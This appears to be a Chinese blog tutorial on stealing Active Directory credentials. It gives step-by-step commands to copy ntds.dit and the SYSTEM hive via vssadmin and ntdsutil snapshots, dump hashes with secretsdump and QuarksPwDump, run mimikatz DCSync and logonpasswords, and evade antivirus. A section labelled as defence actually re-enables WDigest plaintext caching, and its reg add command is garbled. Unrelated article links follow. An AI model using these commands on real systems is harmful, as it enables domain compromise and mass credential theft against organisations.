ntds.dit

ntds.dit是主要的AD数据库,存放在C:\Windows\NTDS\NTDS.dit,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密

获取方式分为两种:

1.在线获取

2.离线获取

注意:

在域环境中,建议不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时候较长,工具占用资源太多,容易造成域控服务器崩溃。

在线获取

适用于域用户较少的时候

工具:

wce、gethashes、mimikatz

离线获取

导出ntds.dit 和 system文件,下载到本地 (这两个文件属于系统特殊文件,不能直接复制粘贴,需要采取特殊方法进行复制粘贴,类似的还有SAM文件。)

获取方法一:卷影拷贝法

利用vssadmin命令

(1)创建C盘卷影拷贝

vssadmin create shadow /for=c:

获得地址 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4

(2) 复制ntds.dit和system文件(将文件复制到c盘下)

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\NTDS\ntds.dit c:\\

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\system32\config\system c:\\

图为复制到域控下某台机器上


(3)复制完之后删除卷影


(4)破解hash

复制完保存在本地,利用impacket工具包 在impacket/example下

secretsdump.py -ntds ntds.dit文件的位置 -system system文件的位置 local

获取方法二:利用ntsdutil.exe工具

NtdSutilexe是一个为Active Directory提供管理设施的命令行工具。

(1)使用ntdsutil.exe,进入ntdsutil.exe命令行


(2)使用snapshot,进入快照管理命令行


(3)创建新快照

activate instance ntds

create


(4)使用mount挂载快照,得到一个地址

mount {a90b5261-9d55-42d0-a19d-d414c7f962f1}


(5)另起一个cmd,复制快照种的ntds

copy C:\$SNAP_202002141741_VOLUMEC$\windows\ntds\ntds.dit


(6)卸载并删除快照


(7)保存system

reg save hklm\system system.hive

(8)破解hash

使用QuarksPwDump-off-line进行离线破解

QuarksPwDump-off-line -dhd -nt ntds.dit -sf system.hive -o hashs.txt

获取域hash其他方法

其他工具

导出工具

1.ntdsutil

2.diskshadow.exe

13.vssown

4.auxiliary/admin/smb/psexec.ntdsgrab#msf模块

5.使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit

读取工具

NTDSDumpEx.exe

只获取特定用户的hash

进入mimikatz命令行模式

lsadump::dcsync /dc:win08.superman.com /domain:superman.com /user:用户名

获取明文密码

分两种情况:

1.在域控上获取明文密码

2.在普通域服务器上获取明文密码

再次提示:

在域环境中,不要直接在线获取hash,特别是域环境比较大的时候,在线获取hash等待时时间较长,工具占用资源太多,容易造成域控服务器崩溃。

1.在域控上获取明文密码

1.利用wce

wce -w

2.利用mimikatz

直接cmd调用

mimikatz.exe "sekurlsa::logonpasswords" exit

离线获取,能绕过杀软

离线获取明文密码

2.在普通域服务器上获取明文密码

普通域用户无法获取明文密码,不管是wce还是mimikatz

普通域用户无法获取明文密码,因为利用工具获取明文密码需要从系统进程lsass.exe的内存空间中读取,域普通用户的权限小于系统进程的system权限,所以没有办法从系统进程lsass.exe的内存空间中读取明文密码

防御方法

关于wce和mimikatz以及lsass.exe

Windows8.1以上版本或打过KB2871997补丁的机器,lsass中不会存储密码,如果想抓取密码,可以将注册表HKLM(HKEY LOCAL MACHINE)\SYSTEM\CurrentControlSet\Control\securityProviders\Wdigest下的UseLogonCredential设置为1,类型为DWORD32

可以使用命令:

Reg add HKLM\SYSTEM\CurrentControlSet\Control\securityProviders Wdigest/v UselogonCredential/t REG_DWORD /d1

获取域hash并破解的更多相关文章

  1. 域hash值破解的总结经验

    1.vsssown.vbs拷贝域数据库: 1.1上传vssown.vbs文件 上传cscript.exe和vssown.vbs到域服务器上 1.2创建快照 reg query HKEY_LOCAL_M ...

  2. Active Directory中获取域管理员权限的攻击方法

    Active Directory中获取域管理员权限的攻击方法         译:by  backlion 0x00 前言 攻击者可以通过多种方式在Active Directory中获得域管理员权限, ...

  3. [内网渗透]HASH获取与HASH传递

    0x01 PTH简介 PTH,即Pass-The-Hash,首先我们来说下为什么要使用HASH传递,一是在目标机>=win server 2012时,lsass.exe进程中是抓不到明文密码的, ...

  4. 转:通过ASP.Net页面获取域用户名(当前登陆的用户)

    通过ASP.Net页面获取域用户名(当前登陆的用户) 原文地址: https://www.cnblogs.com/fast-michael/archive/2011/03/14/2057954.htm ...

  5. Hash值破解工具Hashcat使用

    Hash值破解工具Hashcat使用 Hashcat介绍 HashCat系列软件拥有十分灵活的破解方式,可以满足绝大多数的破解需求. Hashcat系列软件是比较牛逼的密码破解软件,系列软件包含Has ...

  6. Hash值破解工具(findmyhash与hash-identifier破解Hash值)

    Hash值破解工具(findmyhash与hash-identifier破解Hash值) 前言: Kali Linux提供各种哈希密文破解工具,如hashcat.john.rainbows.不论哪一种 ...

  7. 使用Empire自动获取域管理员

    使用Empire自动获取域管理员  译:backlion 前言 自从Empire和BloodHound被应用来,对AD渗透已经可以获取到内网环境95%的信息量.作者发现自己一遍又一遍地在做同样重复的事 ...

  8. EL获取域中的数据

    EL(Expression Language)是表达式语言,EL的使用可以减少JAVA代码的书写. 1.EL表达式中的常量: <body bgcolor="#7fffd4"& ...

  9. 【ABAP系列】SAP ABAP获取域(domain)值的方法

    公众号:SAP Technical 本文作者:matinal 原文出处:http://www.cnblogs.com/SAPmatinal/ 原文链接:[ABAP系列]SAP ABAP获取域(doma ...

随机推荐

  1. HTML-02-常用标签演示

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  2. Spring JSTL 获取后端数据失败。

    显示的jsp页面仍是${XXX}的形式. 解决方法一: 这是因为我们在web.xml中使用的是jsp1.2版本的DTD,在此版本JSTL默认不打开,我们需要手动打开,打开方法: 在相应的JSP头部加入 ...

  3. 大数据面试题(一)----HADOOP 面试题

    1. 下列哪项通常是集群的最主要瓶颈(C) A. CPU B. 网络 C. 磁盘IO D. 内存 2. 下列哪项可以作为集群的管理工具?(C) A.Puppet B.Pdsh C.ClouderaMa ...

  4. e.detail.value 获取input的值

    inputId(e) { this.setData({ inputId: e.detail.value }) },

  5. 码云(gitee)配置ssh密钥

    创建公钥的目的: 使用SSH公钥可以让你在你的电脑和码云通讯的时候使用安全连接(git的remote要使用SSH地址) git中粘贴右击鼠标选择Paste 步骤: 打开终端(git)进入.ssh目录 ...

  6. abp vnext2.0核心组件之领域实体组件源码解析

    接着abp vnext2.0核心组件之模块加载组件源码解析和abp vnext2.0核心组件之.Net Core默认DI组件切换到AutoFac源码解析集合.Net Core3.1,基本环境已经完备, ...

  7. this和static

    [this] 指的是明确的标记本类的结构 当前正在调用类中方法的对象,不是一个固定的 java中以“{}”为界限.如果现在属性名称和参数名称重名,那么默认情况下,如果没有加任何的限制,指的是最近的“{ ...

  8. 2、TCP/IP

    TCP/IP协议栈:物理层.数据接口层.网络层.传输层.应用层或网络接口层.网络层.传输层.应用层 TCP/IP协议栈的核心协议:1.TCP2.UDP3.ICMP4.IGMP5.ARP:映射IP→Et ...

  9. StringBuffer StringBuilder String 区别

    String       字符串常量   不可变  使用字符串拼接时是不同的2个空间 StringBuffer  字符串变量   可变   线程安全  字符串拼接直接在字符串后追加 StringBui ...

  10. [python之路]格式化显示

    格式化显示 格式规范微语言 中文版 以下整理自 python字符串格式化 *输出结果的空格在md预览中没效果(用代码块三个撇号就可以保留格式了) 一.使用格式化符来格式化字符串: Python支持的所 ...